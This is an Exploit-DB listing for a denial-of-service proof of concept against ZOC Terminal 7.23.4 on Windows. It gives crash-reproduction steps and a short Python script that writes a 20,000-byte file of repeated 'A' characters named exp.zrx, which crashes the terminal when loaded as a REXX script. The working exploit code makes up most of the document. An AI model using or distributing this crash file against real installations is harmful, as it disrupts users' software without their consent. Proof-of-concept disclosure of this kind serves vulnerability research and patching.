ZOC Terminal 7.23.4 - 'Script' Denial of Service (PoC)

EDB-ID:

46855

CVE:

N/A




Platform:

Windows

Date:

2019-05-16


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#Exploit Title:  ZOC Terminal v7.23.4  - 'Script' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-15
#Vendor Homepage: https://www.emtec.com
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe
#Tested Version: 7.23.4
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ZOC_Terminal_scr.py and it will create a new file "exp.zrx"
#2.- Open ZOC Terminal
#3.- Select Script > Start REXX Script... 
#4.- Select "exp.zrx" file and click "open"
#5.- Crashed

cod = "\x41" * 20000

f = open('exp.zrx', 'w')
f.write(cod)
f.close()